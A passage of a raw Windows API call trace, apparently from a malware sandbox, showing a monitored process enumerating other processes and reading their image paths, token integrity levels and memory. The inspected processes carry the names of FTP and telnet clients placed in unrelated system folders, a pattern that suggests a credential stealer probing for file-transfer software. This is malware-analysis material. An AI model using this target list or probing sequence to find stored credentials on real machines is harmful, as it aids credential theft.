[3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.039] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.039] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.039] NtClose (Handle=0x2e8) returned 0x0 [0075.039] NtQueryVirtualMemory (in: ProcessHandle=0x218, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.039] NtQueryVirtualMemory (in: ProcessHandle=0x218, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.050] QueryFullProcessImageNameW (in: hProcess=0x21c, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files (x86)\\Windows Defender\\absolutetelnet.exe", lpdwSize=0x174fa50) returned 1 [0075.051] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.051] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.051] IsWow64Process (in: hProcess=0x21c, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.051] NtQueryInformationProcess (in: ProcessHandle=0x21c, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.051] GetProcessTimes (in: hProcess=0x21c, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.051] OpenProcessToken (in: ProcessHandle=0x21c, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.051] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.051] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.051] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.051] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.051] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.051] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.051] NtClose (Handle=0x2e8) returned 0x0 [0075.051] NtQueryVirtualMemory (in: ProcessHandle=0x21c, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.051] NtQueryVirtualMemory (in: ProcessHandle=0x21c, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.062] QueryFullProcessImageNameW (in: hProcess=0x220, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\Windows Defender\\alftp.exe", lpdwSize=0x174fa50) returned 1 [0075.062] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.062] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.062] IsWow64Process (in: hProcess=0x220, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.062] NtQueryInformationProcess (in: ProcessHandle=0x220, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.062] GetProcessTimes (in: hProcess=0x220, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.062] OpenProcessToken (in: ProcessHandle=0x220, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.062] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.062] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.063] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.063] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.063] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.063] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.063] NtClose (Handle=0x2e8) returned 0x0 [0075.063] NtQueryVirtualMemory (in: ProcessHandle=0x220, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.063] NtQueryVirtualMemory (in: ProcessHandle=0x220, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.074] QueryFullProcessImageNameW (in: hProcess=0x224, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\DVD Maker\\barca.exe", lpdwSize=0x174fa50) returned 1 [0075.074] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.074] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.074] IsWow64Process (in: hProcess=0x224, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.074] NtQueryInformationProcess (in: ProcessHandle=0x224, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.074] GetProcessTimes (in: hProcess=0x224, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.074] OpenProcessToken (in: ProcessHandle=0x224, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.074] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.074] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.074] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.074] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.074] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.074] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.074] NtClose (Handle=0x2e8) returned 0x0 [0075.074] NtQueryVirtualMemory (in: ProcessHandle=0x224, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.074] NtQueryVirtualMemory (in: ProcessHandle=0x224, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.086] QueryFullProcessImageNameW (in: hProcess=0x228, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\Internet Explorer\\bitkinex.exe", lpdwSize=0x174fa50) returned 1 [0075.086] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.086] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.086] IsWow64Process (in: hProcess=0x228, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.086] NtQueryInformationProcess (in: ProcessHandle=0x228, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.086] GetProcessTimes (in: hProcess=0x228, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.086] OpenProcessToken (in: ProcessHandle=0x228, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.086] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.086] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.086] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.086] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.086] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.086] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.086] NtClose (Handle=0x2e8) returned 0x0 [0075.086] NtQueryVirtualMemory (in: ProcessHandle=0x228, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.086] NtQueryVirtualMemory (in: ProcessHandle=0x228, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.097] QueryFullProcessImageNameW (in: hProcess=0x22c, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\coreftp.exe", lpdwSize=0x174fa50) returned 1 [0075.097] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.097] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.097] IsWow64Process (in: hProcess=0x22c, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.097] NtQueryInformationProcess (in: ProcessHandle=0x22c, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.098] GetProcessTimes (in: hProcess=0x22c, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.098] OpenProcessToken (in: ProcessHandle=0x22c, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.098] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.098] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.098] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.098] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.098] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.098] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.098] NtClose (Handle=0x2e8) returned 0x0 [0075.098] NtQueryVirtualMemory (in: ProcessHandle=0x22c, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.098] NtQueryVirtualMemory (in: ProcessHandle=0x22c, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.109] QueryFullProcessImageNameW (in: hProcess=0x230, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files (x86)\\Java\\far.exe", lpdwSize=0x174fa50) returned 1 [0075.109] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.109] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.109] IsWow64Process (in: hProcess=0x230, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.109] NtQueryInformationProcess (in: ProcessHandle=0x230, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.109] GetProcessTimes (in: hProcess=0x230, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.109] OpenProcessToken (in: ProcessHandle=0x230, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.109] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.109] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.109] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.109] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.109] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.109] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.109] NtClose (Handle=0x2e8) returned 0x0 [0075.110] NtQueryVirtualMemory (in: ProcessHandle=0x230, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.110] NtQueryVirtualMemory (in: ProcessHandle=0x230, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.120] QueryFullProcessImageNameW (in: hProcess=0x234, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\Internet Explorer\\filezilla.exe", lpdwSize=0x174fa50) returned 1 [0075.120] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.120] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.120] IsWow64Process (in: hProcess=0x234, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.121] NtQueryInformationProcess (in: ProcessHandle=0x234, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.121] GetProcessTimes (in: hProcess=0x234, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.121] OpenProcessToken (in: ProcessHandle=0x234, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.121] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.121] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.121] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.121] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.121] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.121] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.121] NtClose (Handle=0x2e8) returned 0x0 [0075.121] NtQueryVirtualMemory (in: ProcessHandle=0x234, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.121] NtQueryVirtualMemory (in: ProcessHandle=0x234, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.132] QueryFullProcessImageNameW (in: hProcess=0x238, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\Windows Sidebar\\flashfxp.exe", lpdwSize=0x174fa50) returned 1 [0075.132] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.132] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.132] IsWow64Process (in: hProcess=0x238, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.132] NtQueryInformationProcess (in: ProcessHandle=0x238, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.132] GetProcessTimes (in: hProcess=0x238, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.132] OpenProcessToken (in: ProcessHandle=0x238, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.132] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.132] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.132] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.133] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.133] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.133] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.133] NtClose (Handle=0x2e8) returned 0x0 [0075.133] NtQueryVirtualMemory (in: ProcessHandle=0x238, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.133] NtQueryVirtualMemory (in: ProcessHandle=0x238, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.159] QueryFullProcessImageNameW (in: hProcess=0x23c, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\Windows Mail\\fling.exe", lpdwSize=0x174fa50) returned 1 [0075.160] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.160] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.160] IsWow64Process (in: hProcess=0x23c, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.160] NtQueryInformationProcess (in: ProcessHandle=0x23c, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.160] GetProcessTimes (in: hProcess=0x23c, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, 